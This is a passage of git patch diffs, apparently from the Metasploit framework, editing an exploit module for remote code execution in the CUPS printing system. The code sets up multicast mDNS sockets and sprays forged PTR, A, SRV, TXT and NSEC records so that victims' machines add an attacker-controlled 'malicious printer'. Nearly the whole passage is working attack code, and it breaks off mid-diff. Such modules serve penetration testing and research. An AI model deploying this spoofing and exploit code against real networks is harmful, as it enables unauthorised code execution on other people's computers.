def on_send_mdns_response(cli, data) # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots - cli.instance_variable_set(:@peerhost, '224.0.0.251') # Log to console in VERBOSE mode, then write response vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") - cli.write(data) + cli.sendto(data, '224.0.0.251', cli.peerport) end def cleanup super + if service2 # Remove the IPP resource before stopping the HTTP service service2.remove_resource('/ipp/print') From 0ec9b1bcb911b9b357ffcbc22397eeb0fa3fa9cd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 21 Nov 2024 15:14:46 -0500 Subject: [PATCH 5/5] Fix a multicast socket issue --- .../misc/cups_ipp_remote_code_execution.rb | 194 +++++++++--------- 1 file changed, 102 insertions(+), 92 deletions(-) diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 0909dda13afc..90013c72fa9b 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote # Accessor for IPP HTTP service attr_accessor :service2 + MULTICAST_ADDR = '224.0.0.251' + # Define IPP constants module TagEnum UNSUPPORTED_VALUE = 0x10 @@ -77,6 +79,21 @@ module SectionEnum UNSUPPORTED = 0x05 end + class MulticastComm < Rex::Socket::Comm::Local + # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket) + # without this in place, the module won't work on a system with multiple network interfaces + def self.create_by_type(param, type, proto = 0) + socket = super + socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255) + + membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership) + socket + end + + end + def initialize(info = {}) super( update_info( @@ -172,7 +189,7 @@ def validate super if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 - raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'}) + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) end # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured @@ -202,7 +219,7 @@ def start_mdns_service 5353, false, nil, - Rex::Socket::Comm::Local, + MulticastComm, { 'Msf' => framework, 'MsfExploit' => self } ) @@ -213,7 +230,7 @@ def start_mdns_service on_send_mdns_response(cli, data) end rescue ::Errno::EACCES => e - raise Rex::BindFailed.new(e.message) + raise Rex::BindFailed, e.message end def create_ipp_response(version_major, version_minor, request_id) @@ -401,7 +418,7 @@ def start_ipp_service rescue StandardError => e vprint_error('An error occurred while processing an IPP request') vprint_error("IPP Error is #{e.class} - #{e.message}") - vprint_error("#{e.backtrace.join("\n")}") + vprint_error(e.backtrace.join("\n").to_s) raise e end, 'Path' => '/ipp/print') @@ -479,101 +496,94 @@ def on_dispatch_mdns_request(cli, data) # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu) # Also, different distributions seem to have different flows for that, which made the approach unreliable # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer - req.question.each do |_question| - # PTR record - req.add_answer(Dnsruby::RR.create( - name: '_ipp._tcp.local.', - type: 'PTR', - # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation - # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue - ttl: 30, - domainname: "#{ipp_printer_name}." - )) - # A record for our printer - # All of these answers seem to need to be additional record answers, not just answers - req.add_additional(Dnsruby::RR.create( - name: "#{printer_name_no_space}.local.", - type: 'A', - ttl: 30, - # The IP address of our malicious HTTP IPP service - address: datastore['SRVHOST'] - )) - - # SRV record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'SRV', - ttl: 30, - priority: 0, - weight: 0, - # The port of our malicious HTTP IPP service - port: datastore['SRVPORT'], - target: "#{printer_name_no_space}.local." - )) - - # TXT record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'TXT', - ttl: 30 - ).tap do |rr| - rr.strings = [ - 'txtvers=1', - 'qtotal=1', - 'rp=ipp/print', - "ty=#{printer_name}", - 'pdl=application/postscript,application/pdf', - # The "adminurl" value may or may not be queried, depending on the victim type - # Points to our malicious HTTP IPP service - "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", - 'priority=0', - 'color=T', - 'duplex=T', - # Unique UUID to avoid printer collision from multiple runs with the same configuration - "UUID=#{@printer_uuid}" - ] - end) - - # NSEC record, seems to be required, should be additional answer type - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'NSEC', - ttl: 30, - next_domain: "#{ipp_printer_name}.", - types: 'AAAA' - )) - - # Indicate our mDNS message is a query response - req.header.qr = 1 - # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one - # https://datatracker.ietf.org/doc/html/rfc6762 - req.header.aa = 1 - - # Clear questions and update counts for our response - req.question.clear - req.update_counts - - # Encode and send response - response_data = Packet.generate_response(req).encode - - service.send_response(cli, response_data) - - # Avoid responding a bunch of times for each query - break - - end + return unless req.question.first + + # PTR record + req.add_answer(Dnsruby::RR.create( + name: '_ipp._tcp.local.', + type: 'PTR', + # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation + # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue + ttl: 30, + domainname: "#{ipp_printer_name}." + )) + # A record for our printer + # All of these answers seem to need to be additional record answers, not just answers + req.add_additional(Dnsruby::RR.create( + name: "#{printer_name_no_space}.local.", + type: 'A', + ttl: 30, + # The IP address of our malicious HTTP IPP service + address: datastore['SRVHOST'] + )) + + # SRV record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'SRV', + ttl: 30, + priority: 0, + weight: 0, + # The port of our malicious HTTP IPP service + port: datastore['SRVPORT'], + target: "#{printer_name_no_space}.local." + )) + + # TXT record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'TXT', + ttl: 30 + ).tap do |rr| + rr.strings = [ + 'txtvers=1', + 'qtotal=1', + 'rp=ipp/print', + "ty=#{printer_name}", + 'pdl=application/postscript,application/pdf', + # The "adminurl" value may or may not be queried, depending on the victim type + # Points to our malicious HTTP IPP service + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", + 'priority=0', + 'color=T', + 'duplex=T', + # Unique UUID to avoid printer collision from multiple runs with the same configuration + "UUID=#{@printer_uuid}" + ] + end) + + # NSEC record, seems to be required, should be additional answer type + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'NSEC', + ttl: 30, + next_domain: "#{ipp_printer_name}.", + types: 'AAAA' + )) + + # Indicate our mDNS message is a query response + req.header.qr = 1 + # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one + # https://datatracker.ietf.org/doc/html/rfc6762 + req.header.aa = 1 + + # Clear questions and update counts for our response + req.question.clear + req.update_counts + + # Encode and send response + response_data = Packet.generate_response(req).encode + + service.send_response(cli, response_data) end # # Creates Proc to handle outbound responses # def on_send_mdns_response(cli, data) - # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way - # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots - # Log to console in VERBOSE mode, then write response - vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") - cli.sendto(data, '224.0.0.251', cli.peerport) + vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") + cli.write(data) end def cleanup